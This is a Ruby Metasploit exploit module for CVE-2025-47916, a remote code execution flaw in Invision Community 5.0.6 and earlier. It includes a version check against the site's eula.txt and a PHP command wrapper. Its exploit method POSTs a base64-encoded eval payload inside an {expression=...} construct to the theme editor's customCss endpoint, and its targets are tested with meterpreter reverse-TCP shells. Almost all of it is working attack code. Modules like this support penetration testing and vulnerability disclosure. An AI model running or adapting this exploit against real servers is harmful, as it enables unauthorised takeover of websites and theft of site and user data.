## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient prepend Msf::Exploit::Remote::AutoCheck include Msf::Payload::Php def initialize(info = {}) super( update_info( info, 'Name' => 'Invision Community 5.0.6 customCss RCE', 'Description' => %q{ Invision Community up to and including version 5.0.6 contains a remote code execution vulnerability in the theme editor's customCss endpoint. By crafting a specially formatted `content` parameter with a `{expression="…"}` construct, arbitrary PHP can be evaluated. This module leverages that flaw to execute payloads or system commands as the webserver user. }, 'Author' => [ 'Egidio Romano (EgiX)', # Vulnerability discovery & original PoC 'Valentin Lobstein' # Metasploit module ], 'References' => [ ['CVE', '2025-47916'], ['URL', 'https://karmainsecurity.com/KIS-2025-02'], ['URL', 'https://invisioncommunity.com'] ], 'License' => MSF_LICENSE, 'Platform' => %w[php unix linux win], 'Arch' => [ARCH_PHP, ARCH_CMD], 'Targets' => [ [ 'PHP In-Memory', { 'Platform' => 'php', 'Arch' => ARCH_PHP # tested with php/meterpreter/reverse_tcp } ], [ 'Unix/Linux Command Shell', { 'Platform' => %w[unix linux], 'Arch' => ARCH_CMD # tested with cmd/linux/http/x64/meterpreter/reverse_tcp } ], [ 'Windows Command Shell', { 'Platform' => 'win', 'Arch' => ARCH_CMD # tested with cmd/windows/http/x64/meterpreter/reverse_tcp } ] ], 'DefaultTarget' => 0, 'DisclosureDate' => '2025-05-16', 'Notes' => { 'Stability' => [CRASH_SAFE], 'Reliability' => [REPEATABLE_SESSION], 'SideEffects' => [IOC_IN_LOGS] } ) ) end def check path = normalize_uri(target_uri.path, 'admin', 'install', 'eula.txt') res = send_request_cgi('uri' => path, 'method' => 'GET') unless res&.code == 200 && res.body =~ /^ IPS\ ([\d.]+) / return CheckCode::Unknown('Unable to retrieve or parse IPS version from EULA') end version = Rex::Version.new(Regexp.last_match(1)) print_status("Detected IPS version: #{version}") if version.between?(Rex::Version.new('5.0.0'), Rex::Version.new('5.0.6')) CheckCode::Appears("IPS version #{version} is vulnerable (≤ 5.0.6)") else CheckCode::Safe("IPS version #{version} is not vulnerable") end end # I'll remove this method when PR #20160 is merged. I'm aware of it, thanks def php_exec_cmd(encoded_payload) vars = Rex::RandomIdentifier::Generator.new dis = '$' + vars[:dis] encoded_clean_payload = Rex::Text.encode_base64(encoded_payload) shell = <<-END_OF_PHP_CODE #{php_preamble(disabled_varname: dis)} $c = base64_decode("#{encoded_clean_payload}"); #{php_system_block(cmd_varname: '$c', disabled_varname: dis)} END_OF_PHP_CODE return shell end def exploit raw = target['Arch'] == ARCH_PHP ? payload.encoded : php_exec_cmd(payload.encoded) b64 = Rex::Text.encode_base64(raw) expr = "{expression=\"die(eval(base64_decode('#{b64}')))\"}" post_data = { 'app' => 'core', 'module' => 'system', 'controller' => 'themeeditor', 'do' => 'customCss', 'content' => expr } print_status("Sending exploit to #{rhost}:#{rport} ...") send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'index.php'), 'method' => 'POST', 'vars_post' => post_data ) end end